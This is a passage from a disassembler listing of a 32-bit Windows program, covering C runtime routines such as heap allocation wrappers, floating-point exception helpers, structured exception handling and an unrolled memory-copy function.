loc_417C00: ; CODE XREF: sub_417BC7+2Fj
push 10h
pop esi
loc_417C03: ; CODE XREF: sub_417BC7+37j
cmp esi, dword_435EB4
ja short loc_417C2A
mov eax, esi
shr eax, 4
push eax
call sub_41BB80
test eax, eax
pop ecx
jnz short loc_417C39
jmp short loc_417C2A
; ---------------------------------------------------------------------------
loc_417C1D: ; CODE XREF: sub_417BC7+15j
; sub_417BC7+20j ...
test esi, esi
jnz short loc_417C24
push 1
pop esi
loc_417C24: ; CODE XREF: sub_417BC7+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_417C2A: ; CODE XREF: sub_417BC7+42j
; sub_417BC7+54j
push esi
push 0
push dword_4CF024
call near ptr 2710000h
nop
loc_417C39: ; CODE XREF: sub_417BC7+52j
pop esi
retn
sub_417BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep
; sub_402DD7+116p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_417CA1
mov eax, dword_4CF028
cmp eax, 3
jnz short loc_417C67
push esi
call sub_41AD89
pop ecx
test eax, eax
push esi
jz short loc_417C93
push eax
call sub_41ADB4
pop ecx
pop ecx
jmp short loc_417CA1
; ---------------------------------------------------------------------------
loc_417C67: ; CODE XREF: sub_417C3B+14j
cmp eax, 2
jnz short loc_417C92
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41BAE4
add esp, 0Ch
test eax, eax
jz short loc_417C92
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41BB3B
add esp, 0Ch
jmp short loc_417CA1
; ---------------------------------------------------------------------------
loc_417C92: ; CODE XREF: sub_417C3B+2Fj
; sub_417C3B+44j
push esi
loc_417C93: ; CODE XREF: sub_417C3B+20j
push 0
push dword_4CF024
nop
call near ptr 2700000h
loc_417CA1: ; CODE XREF: sub_417C3B+Aj
; sub_417C3B+2Aj ...
pop esi
leave
retn
sub_417C3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417CA4(double)
sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_433C30
call sub_41C77D
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_417D2A
call sub_41C645
pop ecx
test eax, eax
pop ecx
jle short loc_417D0D
cmp eax, 2
jle short loc_417CFF
cmp eax, 3
jnz short loc_417D0D
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_41BF55
add esp, 10h
jmp short loc_417D6F
; ---------------------------------------------------------------------------
loc_417CFF: ; CODE XREF: sub_417CA4+3Fj
push esi
push ebx
call sub_41C77D
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417D6F
; ---------------------------------------------------------------------------
loc_417D0D: ; CODE XREF: sub_417CA4+3Aj
; sub_417CA4+44j
fld [ebp+arg_0]
fadd dbl_4246A8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_417D67
; ---------------------------------------------------------------------------
loc_417D2A: ; CODE XREF: sub_417CA4+2Fj
call sub_41C60A
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_417D4D
loc_417D3F: ; CODE XREF: sub_417CA4+ACj
push esi
push ebx
call sub_41C77D
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_417D6F
; ---------------------------------------------------------------------------
loc_417D4D: ; CODE XREF: sub_417CA4+99j
test bl, 20h
jnz short loc_417D3F
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_417D67: ; CODE XREF: sub_417CA4+84j
call sub_41BFA8
add esp, 1Ch
loc_417D6F: ; CODE XREF: sub_417CA4+59j
; sub_417CA4+67j ...
pop esi
pop ebx
leave
retn
sub_417CA4 endp
; =============== S U B R O U T I N E =======================================
sub_417D73 proc near ; CODE XREF: ___:00419AC1p
; DATA XREF: ___:off_433C3Co
call sub_417D8B
call sub_41C846
mov dword_4CD994, eax
call sub_41C7F6
fnclex
retn
sub_417D73 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_417D8B proc near ; CODE XREF: sub_417D73p
mov eax, offset sub_41CC34
mov off_435FD4, offset sub_41C8C9
mov off_435FD0, eax
mov off_435FD8, offset sub_41C92F
mov off_435FDC, offset sub_41C86F
mov off_435FE0, offset sub_41C917
mov off_435FE4, eax
retn
sub_417D8B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp
; sub_403FE6+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_417DC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417DEB(double)
sub_417DEB proc near ; CODE XREF: sub_404032+82p
; ___:00404CF0p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_433C48
call sub_41C77D
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_417E71
call sub_41C645
pop ecx
test eax, eax
pop ecx
jle short loc_417E54
cmp eax, 2
jle short loc_417E46
cmp eax, 3
jnz short loc_417E54
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_41BF55
add esp, 10h
jmp short loc_417EB6
; ---------------------------------------------------------------------------
loc_417E46: ; CODE XREF: sub_417DEB+3Fj
push esi
push ebx
call sub_41C77D
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417EB6
; ---------------------------------------------------------------------------
loc_417E54: ; CODE XREF: sub_417DEB+3Aj
; sub_417DEB+44j
fld [ebp+arg_0]
fadd dbl_4246A8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_417EAE
; ---------------------------------------------------------------------------
loc_417E71: ; CODE XREF: sub_417DEB+2Fj
call sub_41C60A
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_417E94
loc_417E86: ; CODE XREF: sub_417DEB+ACj
push esi
push ebx
call sub_41C77D
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_417EB6
; ---------------------------------------------------------------------------
loc_417E94: ; CODE XREF: sub_417DEB+99j
test bl, 20h
jnz short loc_417E86
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_417EAE: ; CODE XREF: sub_417DEB+84j
call sub_41BFA8
add esp, 1Ch
loc_417EB6: ; CODE XREF: sub_417DEB+59j
; sub_417DEB+67j ...
pop esi
pop ebx
leave
retn
sub_417DEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EBA proc near ; CODE XREF: ___:0041D116p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_417EBA endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_417EEE proc near ; CODE XREF: sub_41D256+199p
; sub_41D41A+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_417EEE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_417EF5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp
; sub_41D0A5:loc_41D0D6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_417F24
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_422A4C
sub_417EFC endp
; ---------------------------------------------------------------------------
loc_417F24: ; DATA XREF: sub_417EFC+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_417F4B: ; CODE XREF: ___:004230ECj
; ___:00423109j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41CCAA
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F81 proc near ; CODE XREF: sub_41D120+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_417FD5
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_41D4B0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_417F81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FD5 proc near ; DATA XREF: sub_417F81+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41CCAA
add esp, 20h
pop ebp
retn
sub_417FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_4180AE
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_418080
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4CDA38
pop ecx
pop ecx
and [ebp+var_34], 0
loc_418080: ; DATA XREF: sub_417FFA+3Co
cmp [ebp+var_4], 0
jz short loc_41809D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_4180A6
; ---------------------------------------------------------------------------
loc_41809D: ; CODE XREF: sub_417FFA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_4180A6: ; CODE XREF: sub_417FFA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_417FFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180AE proc near ; DATA XREF: sub_417FFA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_4180D1
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41811E
; ---------------------------------------------------------------------------
loc_4180D1: ; CODE XREF: sub_4180AE+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41CCAA
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41810F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_417EFC
; ---------------------------------------------------------------------------
loc_41810F: ; CODE XREF: sub_4180AE+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41811E: ; CODE XREF: sub_4180AE+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4180AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418123 proc near ; CODE XREF: sub_41CD45+C6p
; sub_41CEEC+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41817A
loc_418141: ; CODE XREF: sub_418123+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41814B
call sub_41D552
loc_41814B: ; CODE XREF: sub_418123+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_418160
cmp ecx, [eax+8]
jle short loc_418165
loc_418160: ; CODE XREF: sub_418123+36j
cmp esi, 0FFFFFFFFh
jnz short loc_418171
loc_418165: ; CODE XREF: sub_418123+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_418171: ; CODE XREF: sub_418123+40j
cmp [ebp+arg_4], 0
jge short loc_418141
mov eax, [ebp+var_4]
loc_41817A: ; CODE XREF: sub_418123+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41818E
cmp esi, eax
jbe short loc_418193
loc_41818E: ; CODE XREF: sub_418123+65j
call sub_41D552
loc_418193: ; CODE XREF: sub_418123+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_418123 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_4181B8
push [ebp+arg_0]
call sub_422A4C
sub_4181A0 endp
; =============== S U B R O U T I N E =======================================
sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4181B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao
; sub_41824A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4181E1
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4181E1: ; CODE XREF: sub_4181C0+10j
retn
sub_4181C0 endp
; =============== S U B R O U T I N E =======================================
sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp
; sub_41F774+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4181C0
push large dword ptr fs:0
mov large fs:0, esp
loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41823C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41823C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41823A
push 101h
mov eax, [ebx+esi*4+8]
call sub_418276
call dword ptr [ebx+esi*4+8]
loc_41823A: ; CODE XREF: sub_4181E2+44j
jmp short loc_4181FF
; ---------------------------------------------------------------------------
loc_41823C: ; CODE XREF: sub_4181E2+2Aj
; sub_4181E2+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4181E2 endp
; =============== S U B R O U T I N E =======================================
sub_41824A proc near ; CODE XREF: sub_41D1E6+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4181C0
jnz short locret_41826C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41826C
mov eax, 1
locret_41826C: ; CODE XREF: sub_41824A+10j
; sub_41824A+1Bj
retn
sub_41824A endp
; =============== S U B R O U T I N E =======================================
sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep
; sub_41D4B0+40p
push ebx
push ecx
mov ebx, offset dword_433C4C
jmp short loc_418280
sub_41826D endp
; =============== S U B R O U T I N E =======================================
sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp
; sub_41F774+78p
push ebx
push ecx
mov ebx, offset dword_433C4C
mov ecx, [ebp+8]
loc_418280: ; CODE XREF: sub_41826D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_418276 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418290 proc near ; CODE XREF: sub_404032+5p
; sub_4041D4+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_418290 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4182AF proc near ; CODE XREF: sub_404667+26p
; ___:004227E2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_417C3B
pop ecx
retn
sub_4182AF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap
; sub_41ADB4+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4182E0
cmp edi, eax
jb loc_418458
loc_4182E0: ; CODE XREF: sub_4182C0+16j
test edi, 3
jnz short loc_4182FC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41831C
rep movsd
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
loc_4182FC: ; CODE XREF: sub_4182C0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_418314
and eax, 3
add ecx, eax
jmp dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------
loc_418314: ; CODE XREF: sub_4182C0+46j
jmp dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41831C: ; CODE XREF: sub_4182C0+31j
; sub_4182C0+8Ej ...
jmp off_41839C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41832C+4
dd offset loc_41835C
; ---------------------------------------------------------------------------
loc_41832C: ; DATA XREF: sub_4182C0+64o
add byte ptr [ebx-2EDCFFBFh], 8Ah
push es
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41831C
rep movsd
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41835C: ; DATA XREF: sub_4182C0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41831C
rep movsd
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41831C
rep movsd
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr
dd offset loc_4183EC
dd offset loc_4183E4
dd offset loc_4183DC
dd offset loc_4183D4
dd offset loc_4183CC
dd offset loc_4183C4
dd offset loc_4183BC
; ---------------------------------------------------------------------------
loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0:off_41839Co
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
align 4
off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r
; sub_4182C0+92r ...
dd offset loc_418420
dd offset loc_41842C
dd offset loc_418440
; ---------------------------------------------------------------------------
loc_418418: ; CODE XREF: sub_4182C0+35j
; sub_4182C0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418420: ; CODE XREF: sub_4182C0+35j
; sub_4182C0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41842C: ; CODE XREF: sub_4182C0+35j
; sub_4182C0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418440: ; CODE XREF: sub_4182C0+35j
; sub_4182C0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418458: ; CODE XREF: sub_4182C0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41848C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_418480
std
rep movsd
cld
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_418480: ; CODE XREF: sub_4182C0+1B1j
; sub_4182C0+208j ...
neg ecx
jmp off_418550[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41848C: ; CODE XREF: sub_4182C0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4184A4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4184A4: ; CODE XREF: sub_4182C0+1D6j
; DATA XREF: sub_4182C0+1DDr
jmp off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
fadd dword ptr [ecx+eax*2+41850000h]
loc_4184B7: ; DATA XREF: sub_4182C0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_418480
std
rep movsd
cld
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_418480
std
rep movsd
cld
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_418480
std
rep movsd
cld
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_418554
dd offset loc_41855C
dd offset loc_418564
dd offset loc_41856C
dd offset loc_418574
dd offset loc_41857C
dd offset loc_418584
off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------
loc_418554: ; DATA XREF: sub_4182C0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41855C: ; DATA XREF: sub_4182C0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
